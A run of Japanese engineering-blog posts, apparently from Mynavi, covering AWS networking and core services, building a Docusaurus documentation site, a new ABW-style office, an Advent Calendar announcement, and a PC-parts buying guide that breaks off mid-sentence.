リージョンとAZは以下の画像のようなイメージです [3] 。 VPC (Amazon Virtual Private Cloud) Amazon Virtual Private Cloud(以下VPC) とは、AWSのサービスの一種で、AWS内に作れる自分だけのネットワーク空間になります。 自らVPCを作成するので、自由にIPアドレス範囲を割り当てることが出来ます。 サブネット サブネット とは、VPCのさらに内側に作るネットワーク空間で、AWSのサービスを起動するための領域です。 VPCで指定したIPアドレス範囲を、分割することでサブネットが作成できます。 だれでもアクセスできる パブリックサブネット や、特定の場所からしかアクセスできない プライベートサブネット を作成できます。 Gateway Gatewayとは、ざっくりいうと、データ通信が出入りする際にどこを経由するかの、「 どこ 」に該当する部分が Gateway になります。 インターネットとVPCを接続するために利用するのは、 Internet Gateway(IGW) と呼ばれます。実際にAWSで設定する際は、後述するルートテーブルにIGWを紐づける形で利用します。 また、インターネットには繋げたいけど、インターネットから通信が入るのは困るという場合は、 NAT Gateway を利用します。 他にもAWSにはGatewayと名の付くサービスがたくさんあるので、気になる方は こちら を見てみてください。 ルートテーブル ルートテーブル とは、サブネット内にあるAWSサービスが、どこに通信することが出来るかのルールが記載されたものです。 通信のあて先を見て、どこに通信を流すかが書かれている表であり、この表をみて通信先を決定します。 AWSでは、サブネット毎にルートテーブルを作成することが出来ます。 セキュリティグループ セキュリティグループ とは、仮想ファイアウォールとして機能します。 アクセスを許可したり、制御したりすることが出来ます。 インバウンドルールとアウトバンドルールを設定する必要があり、外からアクセスしてくるものに対する制御をインバウンドルールに、逆にアクセスする先に制御をアウトバウンドルールに設定します。 AWSの主要なサービス EC2 (Elastic Compute Cloud) EC2 とは、AWS上に仮想サーバを置いて様々やWebアプリケーションを動かすことが出来るサービスになります。 必要に応じてサーバ性能を変更することができます。 また、EC2上で稼働するサーバのことを EC2インスタンス と呼びます。 S3 (Simple Strage Service) S3 とは、ストレージ機能を提供しているサービスで、ファイルのバックアップや、ファイル処理の加工前後のファイル保存、画像やCSSなどWebで使う静的なファイルを置くことを目的として利用されます。 S3は事前に保存容量を決める必要はなく、 利用した分だけの課金 となるため、ストレージの空きを気にする必要がありません。 RDS (Relational Database Service) RDS とは、列と行がいくつかのテーブルで定義されており、データ間の関係性が定義されたデータを取り扱う一般的な DBシステム です。 DBシステムのため、一般的には外部からアクセスできないようにするために、プライベートサブネットに配置します。 障害や誤作動が起きたときに、5分前の状態に戻すことが出来たり、マルチAZ配置(2つのAZを使ってAWSシステムを構築すること。一方のAZに障害が起きてももう一方のAZを利用することで、サービスが止まるのを防ぐ。)を選べば複数のAZにDBシステムが配置されるなど、RDSを用いて 可用性 の高いシステムを実現できます。 ELB (Elastic Load Balancing) ELB では、集中するトラフィックを分散して、サービスの稼働を安定させることが出来ます。メンテナンスや障害発生時にこれの設定を行うことで、該当のサーバーへのリクエストのみを止めることが出来るサービスです。 ALB (Application Load Balancer)、 NLB (Network Load Balancer)、 CLB (Classic Load Balancer)の三つを総称してELBと言います。 Cloud Watch Cloud Watch とは、AWSの各種リソースを監視してくれるサービスです。セットアップが不要で、異常な状態を検知し自動復旧を行い、サービスの種類に応じてアラート通知やアクションを設定することが出来ます。 CloudWatch 、 CloudWatch Logs 、 CloudWatch Events の3つからなるサービスで、以下のような役割に分かれています。 CloudWatch リソースを管理する。CPUやメモリなど複数項目をグラフ化してダッシュボードを作れる CloudWatch Logs ログを集めて監視する。アプリケーションやOSでエラーログをはいたら管理者にメール通知することができる CloudWatch Events APIのイベントをトリガーに何らかのアクションを実行させることが出来るサービス。AWSではEC2インスタンスの起動停止もAPIで実行されているため、こういったイベントを監視することで、特定の処理に対してアクションを実行することができる Cloud9 Cloud9 とは、ブラウザのみでコードを記述、実行、デバッグできる統合開発環境です。コードエディタ、デバッガー、ターミナルを利用することが出来ます。ブラウザ上で動くため、端末の環境に左右されることなく、開発環境を簡単に用意することが出来ます。 また、一般的なプログラミング言語を利用するのに必要なツールがあらかじめ用意されているため、すぐに開発を進めることが出来ます。 Lambda Lambda は、サーバレスコンピューティングサービスです。 サーバレスとは、「サーバが無い状態でプログラムを実行する」という意味ではなく、「AWS側が処理に必要なサーバを用意するので、こちらは 実行するプログラムだけを用意する 」というような意味になります。 AWSクラウド上にプログラムを用意しておき、インターネットを通じて好きなタイミングでそのプログラムを実行することが出来ます。 IAM (Identitiy and Access Management) IAM とは、IDとアクセス権を管理するサービスです。IAMを利用することで、誰がどのサービスを使ってもよくて、どのサービスを使ってはいけないかの設定をすることが出来ます。AWSでは、必要な人に必要な最低限の権限のみを付与することが推奨されています。 またIAMには IAMユーザ 、 IAMポリシー 、 IAMロール があります。 IAMユーザ 人に与えることが出来るIDを作成できる。ユーザ名とパスワードが付与され、AWSアカウントにログインすることが出来る。1つのAWSアカウントの中に複数のIAMユーザを作成することが出来る。 IAMポリシー どのサービスをどのくらいの権限で利用することが出来るかを設定するサービス。アクセスできる範囲を設定したポリシーを、IAMユーザにくっつけて利用する。 IAMロール 複数のIAMポリシーを束ねることでアクセス範囲を設定することが出来るサービス。 AWS構成図 AWS構成図とは、AWSのアイコンや線を結んで表される、AWSインフラを表した図になります。簡単なものですが、下記の画像などがAWS構成図にあたります。 上記の画像は AWSのリージョンの中にVPCを作成 利用するAZを選択 その中にパブリックサブネットとプライベートサブネットを作成 利用するAWSサービス(EC2・RDS)を任意の場所に置く パブリックサブネットはインターネットとやり取りするため、IGWをパブリックサブネットに紐づけて、インターネットを繋ぐ ということを表しています。 言葉で表すとすごく長くなってしまうような構成も一目で分かるように、上記のような構成図を作成します。 AWSでは、よく利用されるクラウド構成を構成図としてまとめています。興味がある方は こちら から確認できます。 参考にしたページ 各説明で分かりづらい、もっと詳しく知りたいときは、下記のURLを参考にしてみてください。 リージョン・AZ VPC・サブネット Gateway ルートテーブル セキュリティグループ EC2 S3 RDS ELB Cloud Watch Cloud9 Lambda IAM まとめ AWSの基礎知識についてまとめましたが、 一番理解出来るのはやはり触ってみること です。 私自身がそうだったように、AWSは会社に入って初めて触る方が多いと思います。 IT分野を全く触ってこなかった方はもちろん、インフラの部分を独学でやるには少しハードルが高いためです。 この記事で、そのハードルを少しでも下げてAWSを触れるようになれば幸いです。 他にも解説したほうがよいサービスや知識があれば追記していきたいと思います。 最後まで読んでいただきありがとうございました。
アバター
はじめに 皆さん、こんにちは!ITエンジニアリング部(現デジタルテクノロジー戦略本部)のM.Fです。 GithubPagesやイントラ内の環境に、ツール解説用のドキュメントサイトを設置したいケースがあるかと思います。 そんな時、そのためにいちいちWordpressなどのCMSを環境整備するのは面倒なので、(ほぼ)Markdownだけでドキュメントサイトを作ります。 注意点として、掲題の15分以内には以下の最低要件を含みません。 Node.js LTS、または最新版環境準備 Visual Studio Codeのインストール 記載する文章を考える時間 今回のサイト作成には、Facebook (Meta)製 静的サイトジェネレーター"Docusaurus"を使用します。 Docusaurus Docusaurusは、可能な限り短時間でのデプロイを目的としたドキュメントサイト向け静的サイトジェネレーターです。 特徴として、設定変更なくMarkdownでコンテンツを作成することができ、設定ファイルを数行書き換えるだけでデプロイまで持っていくことができます。 まずはインストールです。任意のディレクトリで、ターミナルに以下のコマンドを実行してください。 npx create-docusaurus@latest プロジェクト名 classic 実行すると、該当のプロジェクト名のディレクトリが作成されるので、移動してそこでvscodeを立ち上げます。 vscodeを立ち上げたら、ターミナルを開いてそこで以下のコマンドを実行しましょう。 npm start すると、デフォルトのブラウザに下の図のようなサイトが立ち上がります。 Docusaurusのデフォルトページですね。 Ⅾocusaurus Tutorial - 5min のリンクをクリックすると、よく見かけるドキュメントサイトのUIを持つ、Docusaurusのチュートリアルが起動します。 それでは、ディレクトリを確認してみましょう。生成されたDocusaurusのディレクトリの中身は以下のようになっています。 ├── README.md├── babel.config.js├── blog│   ├── 2019-05-28-first-blog-post.md│   ├── 2019-05-29-long-blog-post.md│   ├── 2021-08-01-mdx-blog-post.mdx│   ├── 2021-08-26-welcome│   │   ├── docusaurus-plushie-banner.jpeg│   │   └── index.md│   └── authors.yml├── docs│   ├── intro.md│   ├── tutorial-basics│   │   ├── _category_.json│   │   ├── congratulations.md│   │   ├── create-a-blog-post.md│   │   ├── create-a-document.md│   │   ├── create-a-page.md│   │   ├── deploy-your-site.md│   │   └── markdown-features.mdx│   └── tutorial-extras│   ├── _category_.json│   ├── manage-docs-versions.md│   └── translate-your-site.md├── docusaurus.config.js├── package-lock.json├── package.json├── sidebars.js├── src│   ├── components│   │   ├── HomepageFeatures.js│   │   └── HomepageFeatures.module.css│   ├── css│   │   └── custom.css│   └── pages│   ├── index.js│   ├── index.module.css│   └── markdown-page.md└── static └── img ├── docusaurus.png ├── favicon.ico ├── logo.svg ├── tutorial ├── undraw_docusaurus_mountain.svg ├── undraw_docusaurus_react.svg └── undraw_docusaurus_tree.svg 上記の一覧から何となくわかるかと思いますが、DocusaurusにはRoute対象となるディレクトリが3つ存在します。 そう、src/pages,docs,blogの3つです。 今回はドキュメントサイトを作成することを目的としているので、docs以外は必要ありません。 以下のコマンドを用いて、不要なものを色々削除してしまいましょう。 rm -rf blog/ src/pages/* 削除すると、Docusaurusのトップページが Page Not Found に変化するかと思います。 これではいけないので、残ったdocsディレクトリのpathがルートになるように設定ファイルの19~40行目を修正します。 //docusaurus.config.js presets: [ [ 'classic', /** @type {import('@docusaurus/preset-classic').Options} */ ({ docs: { sidebarPath: require.resolve('./sidebars.js'), routeBasePath: "/", }, blog: false, theme: { customCss: require.resolve('./src/css/custom.css'), }, }), ], ], これで、blogの無効化と、docsのpath変更ができました。 あとは、/となるファイルdocs/index.mdを作成するだけです。 (Reactを使用したい場合は、mdx拡張子も使用できます) 該当のファイルを作成し、適当なMarkdownを書き込んでください。 ヘッダー、フッター、サイドバーの修正 コンテンツを書き込む準備は整いました。 後は、ヘッダーとフッター、サイドバーを操作できれば完了です。 ヘッダーとフッター これら二つは、設定ファイルにその構造が書き込まれています。docusaurus.config.jsのthemeConfig以降を確認してみましょう。 //docusaurus.config.js themeConfig: /** @type {import('@docusaurus/preset-classic').ThemeConfig} */ ({ navbar: { title: 'My Site', logo: { alt: 'My Site Logo', src: 'img/logo.svg', }, items: [ { type: 'doc', docId: 'index', position: 'left', label: 'Tutorial', }, {to: '/blog', label: 'Blog', position: 'left'}, { href: 'https://github.com/facebook/docusaurus', label: 'GitHub', position: 'right', }, ], }, footer: { style: 'dark', links: [ { title: 'Docs', items: [ { label: 'Tutorial', to: '/docs/intro', }, ], }, { title: 'Community', items: [ { label: 'Stack Overflow', href: 'https://stackoverflow.com/questions/tagged/docusaurus', }, { label: 'Discord', href: 'https://discordapp.com/invite/docusaurus', }, { label: 'Twitter', href: 'https://twitter.com/docusaurus', }, ], }, { title: 'More', items: [ { label: 'Blog', to: '/blog', }, { label: 'GitHub', href: 'https://github.com/facebook/docusaurus', }, ], }, ], copyright: `Copyright © ${new Date().getFullYear()} My Project, Inc. Built with Docusaurus.`, }, このnavbarとfooterの値が、それぞれヘッダーとフッターに関連しています。 試しに、{to: '/blog', label: 'Blog', position: 'left'},を削除してみましょう。 すると、このようにBlogが削除されます。 今度は、Tutorialのリンク先を変更してみましょう。 現在は、ヘッダーのTutorialをクリックすると、intro.mdによって書かれたページに遷移します。 これを試しにindex.mdに変更します。該当項目を以下のように書き換えてください。 { type: 'doc', docId: 'index', position: 'left', label: 'Tutorial'} すると、遷移先が http://localhost:3000 に変化します。 あとは設定ファイルを見ればどのように書き換えればよいかわかると思うので、ドキュメントの内容に合わせて書き換えましょう。 サイドバー サイドバーの内容は、sidebars.jsに記載されていますが、用意するサイドバーの内容が一つでよければ、基本的にこちらを操作することはありません。Markdownファイルの頭に以下のように書き込むか、docs配下に存在するディレクトリ内にある _category_.json のように、positionの値を設定する必要があります。 ---sidebar_position: 1--- 試しに、docs/index.mdのサイドバーの順序を変更させてみましょう。 現在のサイドバーの内容は以下の通りです。 次に、docs/index.mdの内容を以下に書き換えます。 ---sidebar_position: 0---# Index.md の見出しこうして、`/`にはいい感じになったわけです。 すると、サイドバーの内容は次のように変化します。 docs/intro.mdに記載されているsidebar_positionの値は1なので、それよりも若い番号である0が指定されているdocs/index.mdはそれよりも上となります。 また、サイドバーの見出しは次のように変更することが可能です。 ---sidebar_label: トップページsidebar_position: 0---# Index.md の見出しこうして、`/`にはいい感じになったわけです。 デプロイする AWS EC2(or GCP Compute Engine)環境想定で話します。作成したソースコードを、何らかの方法でサーバー上に持って行ってください。 以下のコマンドでファイルのビルドが走ります。 npm run build この際、存在しないPathへのリンクが存在する場合、ビルドはエラーになるので注意してください。 あとは以下のコマンドを実行すると、3000番ポートでサーバーが立ち上がります。 npm run serve そしてNginxか何かでリバースプロキシすれば、サイトを閲覧可能です。 Dockerで提供する場合は、上記のコマンドにオプションを足す必要がありますが、同様の形でデプロイできます。 GithubPages等を用いたい場合は、公式にドキュメントが存在するので確認してください。 おわりに これで、ドキュメントサイトを瞬時にデプロイできました。文章内容さえ決まっていれば、15分以内にデプロイまで持っていけるかと思います。 また、今回は使用しないために削除しましたが、ブログ機能なども存在しています。 ドキュメントサイトだけではなく、社内向けの情報発信サイト等でも使用できるので、いろいろ試してみてください。 Docusaurusは瞬時のデプロイを可能とする代わりに拡張性を犠牲にしているところがあります。 高い拡張性を欲する場合は、microCMS + Next.jsなどを使用することの検討をお勧めします。
アバター
はじめに 皆さん、こんにちは。マイナビエンジニアブログ編集部です! 新型コロナウィルスの影響もあり、今までの当たり前はここ数年で大きく変化しました。外出時のマスク着用やソーシャルディスタンスの確保などは最たる例ですが、在宅勤務やテレワークなど、働き方も急激な変化が迫られています。 そんな働き方改革を推進する動きが高まりを見せる中、業務効率の改善を目的とするABWが注目を集めています。 今回はABWの事例のひとつとして、マイナビのシステム統括本部で導入された、新オフィスをご紹介したいと思います。 ABWオフィス ABW(アクティビティベース)は、フリーアドレスとは違い、働く人が内容によって自由に作業する場所を選べるワークスタイルです。 マイナビ システム統括本部では2021年10月よりこのABWオフィスを採用し、エンジニアが自分の作業内容によって働く場所を自由に選択できるようになっています。 ▲システム統括本部の新オフィス 例えば、開発に集中したい人には個室の集中ブース、アイデアが必要な人には景色の良い窓際のソファ、ホッと一息つきたいときのコミュニケーションスペースなど、働き方や業務内容によって自由に作業環境を選ぶことができます。 また、どの席にもデュアルディスプレイが設置されているため、作業効率を高めて働くことができます。 ▲個室の集中スペース これにより働く人の満足度を維持し、相互作用とコミュニケーションの刺激を通じて生産性を向上させると言われています。 緑がおおくて癒されます。 ▲ちょっとした会議や休憩などに利用できるフリースペース 本棚コーナーもあり、技術書やビジネス書がずらりと並んでいます。システム統括本部に所属の社員であれば、自由に閲覧することができます。 ▲システム統括本部の本棚コーナー また、コピーや配送などの事務作業をしたり、一休みするためにコーヒーを飲んだりできる、ユーティリティコーナーも備わっています。 社員が自然に集まる場所なので、案件のちょっとした相談や雑談など、コミュニケーションが生まれる空間になっています。 ▲ユーティリティコーナー おわりに 今回はシステム統括本部のABWオフィスをご紹介させていただきました。 今後、選考や採用イベント等でご来社いただけるようになった際には、オフィスをご案内させていただく機会もつくりたいと考えております! 皆さまにお会いできますことを楽しみにしております!
アバター
こんにちは、マイナビエンジニアブログ編集部です。 今回は、「マイナビ Advent Calendar 2021」についてご紹介したいと思います! Advent Calendar(アドベント カレンダー)について Advent Calendarは、通常クリスマス(12/1-12/25)までの日数をカウントダウンするという習慣のためのカレンダーの事です。 IT界隈ではQiitaで展開される「Qiita Advent Calendar」に登録するケースが多く、本年もそちらを活用していきます。 昨年に続いて、マイナビでも有志のエンジニアやマネージャーによる本イベントへの参加を行います。 ITに関する記事を毎日1本ずつ投稿していきますので、興味のある方は是非ご確認下さい! 「マイナビ Advent Calendar」はこちらからチェック! 本年のAdvent Calendarはこちらをご覧下さい。 「マイナビ Advent Calendar 2021」はこちら 昨年のAdvent Calendarは以下になりますので、併せてご覧いただければと思います。 「マイナビ Advent Calendar 2020」はこちら
アバター
概要 こんにちは、ITエンジニアリング部(現デジタルテクノロジー戦略本部)のM.Fです。 今回は後編ということで、各パーツについて詳細に解説していきます! ※前編はこちら ###card_post_id=1181### PCケース PCケースはよくタワーやミニタワーなどといった分類で大きさを分けられがちですが、今回は搭載可能なマザーボードの規格で分類していこうかと思います。これは、PCパーツの中で最も面積が大きなパーツであるため、昨今のほぼすべてのPCケースにおいて、大きさがマザーボードの規格で決まるためです。 以下は、よく見かけるマザーボードの規格ごとに大きい順に並べています。 Extended-ATX よくE-ATX などの略記をされる規格です。本来であれば個人ではなく業務目的で使用する規格ですが、最近では個人向けの製品にも見かけることがある規格となっています。 個人向けメーカー製パソコンやBTOパソコンでは採用されることはまずなく、パソコンを組むことが趣味、そんな方々が使用することが多いです。 そのため、対応するPCケースは縦にも横にも大きなものとなっており、大型のCPUクーラーや高性能なグラフィックスカードをサイズの不安なく搭載することが可能となっています。 ATX 一般的なマザーボードの規格です。特に意識することなくメーカー製PCを購入した場合、こちらか後述するMicro-ATX規格のどちらかが採用されています。 採用率が高いこともあってか、価格と拡張性のバランスに優れた規格であり、大きさにこだわりがなければこちらを選んだほうがよいかと思います。 タワーもしくはミドルタワー型PCケースがこのマザーボードの対象となります。採用率が高いマザーボードの規格であるためか、ケースの種類も豊富でPCケースを選ぶのが楽しい規格です。 Micro-ATX 少し小さめな大きさの規格です。最近は少なくなってきましたが、それでもATXの次に採用されやすい規格となっています。 場合にもよりますがATXよりも安価なことが多く、安く必要十分な性能を備えたコストパフォーマンスのよい規格です。 この大きさになってくると、PCケースが小型PCを視野に入れてくるため、大型パーツが搭載できない可能性を考慮する必要があります。 Mini-ITX 普段見かけるマザーボードの規格としては、もっとも小さいものとなります。 小さいために拡張性も乏しく、製品数も少ないうえに価格も高いです。メモリも2枚しか搭載できません。 PCケースとしては、パーツのサイズどころか自作する際に組み込む順番すら検討しなければならない大きさです。メーカー仕様書によく目を通し、各パーツの形状や配線方法に気をつける必要があります。 ※マザーボードサイズ規格比較 今回私が使用しているPCケースは、このうちMini-ITX規格のマザーボードを搭載できるケースです。 Mini-ITXの中でも比較的大きさに余裕があり、大型のCPUクーラーや一部の3連ファングラフィックスカードも搭載可能で、Micro-ATX 対応のPCケース一歩手前程度の大きさとなっています。ケース上部に折り畳める岡持ちの取っ手のようなものがあり、片手で持ち歩くことが可能なケースのため、その気になれば旅行先のホテルや実家に比較的気軽に持ってゆくことが可能です。 (あくまで他のケースと比較して比較的であるため、さすがに普段から持ち歩くようなことはできません) あまり人気のあるケースではないですし、あと1cm高さが欲しいと思ったりすることもあるのですが、個人的にかなり気に入っています。 CPU CPUはいわばパソコンの頭脳に相当します。文章作成やブラウザ閲覧など一般用途では最重視されるパーツであり、プログラミングや動画編集などの特化用途の際にも酷使されるPCパーツです。プログラミングのためにメモリを多く搭載したけれども処理に時間がかかるといった場合や、ゲームのために高いグラフィックスカードを購入したのに思ったほどの性能が出ないといった場合は、CPUを新しいものにすることでそれらの症状が改善される場合があります。 2つのCPUメーカー 個人向けCPUを製造しているメーカーはIntelとAMDの2社があり、長年にわたって性能や価格で切磋琢磨しています。 私がひとつ前のPCを購入した頃は、性能面ではAMDが優勢で、IntelはAMDに後れを取っている状況にありました。今のPCを購入した2021年1月ごろは、性能に比例する形でAMDが価格を上げたため、価格面ではIntelが若干の優勢の形となっていました。 最近では後述するメモリというパーツが新しい規格となり、それに対応したCPUを先んじてIntelが販売したため、単純な性能の比較ではIntelが高い性能を出しています。 この2社のCPUは、ゲーム用途で重視されるシングルスレッド性能ではIntelがAMDと同じもしくは若干優れ、一般用途で重視されるマルチスレッド性能と性能に対する放熱量の低さではAMDが優れるという関係を作っています。もしCPUの購入を検討している場合、現時点ではAMDが販売している Ryzen 5000シリーズを購入するのがよいかと思います。 ただし、RyzenシリーズはIntelのcore iシリーズとは異なり、モニターへの画像出力を担うiGPUがCPUに搭載されていないため、マザーボードの映像出力端子から映像を出力することができません。 そのため、グラフィックスカードがない場合は、Ryzen7 5700GやRyzen7 PRO 4750Gなど数字の後ろにGがつくiGPU 搭載モデル (APU) を購入する必要があります。その場合は放熱量に目を瞑ればIntelのほうが性能がよいため、小型ケースで放熱量が気になるといった場合でなければiGPU搭載モデルはIntelのcore iシリーズをおすすめします。 CPUの性能の見方 CPUは、演算ユニットであるコアの性能がどれほど高いか、コアをどれほど搭載しているかでほとんどの性能が決まります。厳密にはコア以外でも性能を左右するパーツもあるので、コア数が倍になれば倍の性能が発揮できるというわけではないのですが、一般に使う範囲では性能を左右するもっとも重要な指標がコアの性能と搭載数であることは間違いありません。働く人間がより多ければ多いほど、仕事が早く進むのと同じ理屈です。 よく見かけるcore i3やcore i7などの数値は、このコアの搭載数が多ければ多いほどより高い数値となっていきます。 コア数 10 or 11 世代 Intel Zen2 or 3 世代 AMD 10 コア以上 Core i9 Ryzen 9 8 コア Core i7 Ryzen 7 6 コア Core i5 Ryzen 5 4 コア Core i3 Ryzen 3 また、表からわかる通り、i9もしくはRyzen9を除いて、同一ナンバリングのCPU内での性能差は、コア数以外のものであるということです。コア数以外の性能指標はいろいろありますが、一番に言われるのは1コア当たりの性能です。この1コア当たりの性能の指標は周波数というもので判断することができます。 例として、Ryzenの現行世代より一つ前の世代であるZen2世代のRyzen 7のCPU2つを比べてみましょう。 Ryzen 7 3700X Ryzen 7 3800X CPUコア数 8 8 最大ブーストクロック 最大 4.4GHz 最大 4.5GHz 基本クロック 3.6GHz 3.9GHz 最大ブーストクロックというのは、仕事がより忙しいときにCPUをより酷使して周波数を押し上げた際の最大周波数のことを指します。公式サイトに掲載されている性能を比較した場合、上記のクロック以外にはTDP (冷却のための指標) しか違いはないため、こうしてみるとRyzen 7 3700XとRyzen 7 3800Xでは、その性能差はクロック周波数という点に表れていることがわかります。 CPUの性能別用途 性能は高ければ高いほどよいのですが、予算は無尽蔵にあるわけではないのである程度予算に合わせて性能を下げる必要があるかと思います。その場合どの程度の性能が必要であるのか、用途別にざっとまとめてみました。 ゲーム用途 4~6コアCPUが価格的にちょうどよいため、intelであればcore i3ないしcore i5、AMDであればRyzen 3ないしRyzen 5がよいでしょう。 動画編集用途 Adobe premiere Proの場合8コアCPUが理想的なCPUとなるので、それに合わせてCore i7もしくは、Ryzen 7がよいかと思います。 高負荷なCG制作系の用途 i7相当のCPUでも十分ではありますが、予算に余裕があれば、i9やRyzen 9などの採用を視野に入れてもよいかもしれません。 私が使用しているRyzen5 5600Xは、上記で述べたRyzen 5000シリーズにおいて、Intelでいうところのi5相当に位置するCPUです。本来はRyzen9 5900Xというi9相当に位置するCPUを購入する予定だったのですが、当時はRyzen 5000シリーズがあまりの人気で常に欠品に近い状態にあり、なかでもRyzen9 5900Xは一番人気のCPUであったた転売品を除き品切れしていました。 そのため妥協する形で購入したのですが、想定よりも性能が良く、不満を感じる瞬間はあれど無理に買い替えるほどの不満を感じることがなかったため、現在まで買い替えずに使い続けています。 CPUクーラー CPUを冷却するためのパーツです。CPUに問わずPCパーツは、温度が高くなった際に故障を回避するために意図的に性能を低下させて発熱を下げるサーマルスロットリングという機能が搭載されているため、性能を十分に発揮させるためにはそれに合わせた冷却器機が必要となります。 つまり、高性能なCPUを搭載している場合は、それに合わせた高性能なCPUクーラーが必要となるわけです。 CPUクーラーは、冷却のための風を発生させる扇風機の役割を持つファンと、CPUの熱を空気中に放熱するヒートシンクの2つで構成されています。どちらも大きければ大きいほどより冷却性能を高めることができるため、高性能なCPUクーラーはより大型化する傾向にあります。 私が使用しているNH-D15は、CPUクーラー製造メーカーの中でも評価の高いNoctuaというメーカーが発売している大型のCPUクーラーです。一般にCPUのクーラーには直径が12cmのファンが搭載されていることが多いですが、NH-D15はそれよりも3cmも大きい15cmファンを搭載しています。 そのため、ファンの回転数が低い状態でも十分な冷却性能を発揮することができ、静かに高い冷却性能を発揮してくれています。 ちなみに、CPUの項目で触れたRyzen 9 5900Xにならともかく、私が搭載しているRyzen5 5600XにはこのCPUクーラーはあまりにも過剰な性能です。例外はありますが、基本的にはi3もしくはi5までのCPUであれば虎徹mark-2と呼ばれるCPUクーラーで十分でしょう。非常に安価でありながら、価格からは考えられない程に高い冷却性能を持っています。 i7やi9の場合は、ある程度大型のクーラーを視野に入れる必要があります。個人的には、NoctuaのNH-U12Aがおすすめです。通常版は好き嫌いが大きく出る色合いですが最近ブラックカラーのものも発売されましたし、同サイズのCPUクーラーにおいて静音性に対する冷却性能ではトップクラスの性能を誇るという大きな魅力を持っています。 マザーボード マザーボードには、接続した各種機器間での情報のやり取りをコントロールするチップセットと呼ばれるパーツがあります。これはCPUのメーカー、世代と対応しておりIntelのCPU向けマザーボードを、RyzenのCPU向けマザーボードとして使用することはできません。 また、ソケットと呼ばれるCPUの世代に対応する規格があり、一定よりも古いマザーボードは最新のCPUを動かすことができません。 なお、最近Intelの新しいCPUが発売されましたが、現在ではまだ下位モデルが出揃っていないため、今回は現行のひとつ前である11世代のマザーボードについて触れます。 Ryzenの場合 Ryzen 5000シリーズに対応しているマザーボードには、基本的に以下のいずれかのチップセットを搭載している必要があります。 X570 B550 A520 X470 B450 これらのうち、最新のチップセットはX570、B550、A520が最新の世代のもので、他は一つ前の世代のCPU向けに開発されたものです。そのため、新規にRyzen 5000シリーズ向けマザーボードを購入する場合は、先ほど挙げた3つのうちいずれかのチップセットを搭載したものとなるかと思います。 同一世代チップセット3種は、それぞれハイエンド向け、ミドルレンジ向け、ローエンド向けに分かれています。X570がハイエンド、B550がミドルレンジ、A520がローエンドです。これらの差は特に高速ストレージであるM.2 SSDに差ができており、X570が最新の高速ストレージであるPCIe Gen 4 SSDを複数使用できるのに対し、B550は一つまで、A520は使用できないなどの差があります。 しかしながら、B550のリリース時期がX570のリリース時期からおよそ1年もの差があったためか、B550のマザーボードにはX570のマザーボードに比べ、搭載しているLANの速度などの点で優れている箇所が多くあり、一概にX570はB550と比較して優れているとはいいにくい状態にあります。その点もあってか、最近ではB550リリース以降に発売されたX570マザーボードをX570Sとして販売しているメーカーもあるようです。 まとめると、現在では以下のような性能の関係が成り立っています。 X570S > X570 ≒ B550 > A520 基本的に、マザーボードにこだわりがある人はX570S、動画制作などのPCに負担をかける処理を多用する人はB550、ブラウザ閲覧などの一般用途が主目的の場合はA520といった選び方をすることになるかと思います。 Intelの場合 Intelの場合は、11世代のチップセットは以下の通りです。 Z590 H570 B560 H510 これは上から順に性能が高い順に並んでおり、Z590が最上位チップセットとなっています。この差は、手動CPUオーバークロック、RAID機能、チップセットPCIeレーン数、USBポート数などが主であり、それらをあまり重視することがないであろう大多数のユーザーにはH570ないしB560がちょうどよいかと思います。 私が使用しているROG STRIX B550-Iは、名前からわかるようにRyzenむけチップセットであるB550チップセットのMini-ITXマザーボードです。現在発売中のMini-ITXのB550マザーボードは、日本国内では6種類。このマザーボードは、購入当時はフロントUSB Type-Cポート対応、無線LAN対応、かつCPUなしでのUEFI(わかりやすくいうと、マザーボードにおけるOSに近いもの)アップデート機能を備えたマザーボードの中で最安値のものでした。 なぜUEFIアップデート機能を備えたものを探していたのかといえば、当時は購入時にインストールされているUEFIではRyzen 5000シリーズのCPUが動かない可能性があったためです。現在発売中のB550マザーボードは、中古購入でもしない限りはUEFIのアップデートが行われているかと思いますので、別のマザーボードを選択してもよいかと思います。 メモリ よく机の広さに例えられる、PCの性能を大きく左右するパーツです。どれほど高性能なCPUを搭載していても、このパーツが悪ければその性能を十分に発揮しきれません。社内で話題になった際は、「○○ 以上は人権」のような言い方で、搭載する性能の境界を指して人権などと呼ばれることもあります。それほど重要なパーツになります。 メモリ性能の見方 メモリには容量と呼ばれる値と、速度と呼ばれる値があります。主に重要なのは容量で、○○GBという表現で表記されます。 例えば、私が使用しているメモリの場合、DDR4-3200 16GBの16GBがその容量で、それを2枚搭載しているので合計して32GBのメモリ容量をそのPCは持っていることになります。 また、速度に当たるのはDDR4-3200の箇所で、これは3200MHzという速度でデータのやり取りを行うDDR4という規格のメモリであることを指します。 何GB搭載すればよいのか 搭載する容量に関しては、一般に事務用途では8GB、ゲームやプログラミング用途では16GB、動画編集には32GBあれば快適に使用できるといわれています。 ですが、これが謳われた頃からはPCの性能やアプリケーションの要求性能が大きく変わってきています。そのため、事務用途では 16GB、その他負荷のかかる動作をさせる場合は 32GB は必要ではないか個人的には感じています。 速度については、それほど重要ではありません。速度によって性能差は確かに出ますが、容量と比較した場合微々たる差しかないためです。 おすすめのメモリ もし新規にメモリを購入する場合は、最新世代のCPUではDDR4-3200のメモリを選択するとよいでしょう。AMD、Intelともに最新世代のCPUのメモリ速度上限は3200MHzです。速度による性能向上は容量と比較して大きいものではありませんが、速度が速いからといって価格に数千円単位の差がつくことは少ないため、予算に切迫していない限りは 3200MHz 未満の速度のメモリを選ぶメリットはありません。 もし予算的に余裕があれば、CenturyMicroやSanMaxなどの高品質メモリで有名な企業か、採用している半導体製造メーカーがはっきりしているJEDEC規格準拠メモリを選びましょう。 特にCenturyMicroは高品質なメモリで有名で、筆者も大抵の場合ここかSanMaxのいずれかで悩んでいます。 予算を優先する場合は、メモリではG.skillやTeam、Essencore等のメーカーを選ぶことになるかともいます。G.skillやTeamはPCパーツメーカー大国である台湾の企業、Essencoreについては中国の企業ではありますが、半導体メーカーで有名なSK Hynixの属するSKグループの100%出資子会社であるため出所不明なメモリよりかは信頼がおけるメーカーです。 なお、最近DDR5という新しい規格のメモリが発売されましたが、メモリの規格には互換性がないため注意が必要です。 グラフィックスカード ゲームや動画編集、機械学習を代表とする一部のプログラミングで使用するパーツです。GPU、ビデオカード、グラフィックボードなど複数の呼び方があります。PCに詳しくない人でも、もしかしたら仮想通貨マイニングのネットニュースなどでこの名前を見かけたことがあるかもしれません。 グラフィックスカードは、簡単な計算を大規模に行うためのパーツで、主にモニターへの描画を行います。ゲームで使用することが有名ですが、それ以外でも GPGPU などのプログラミングでの利用や深層学習等の機械学習用途、動画編集時の GPU 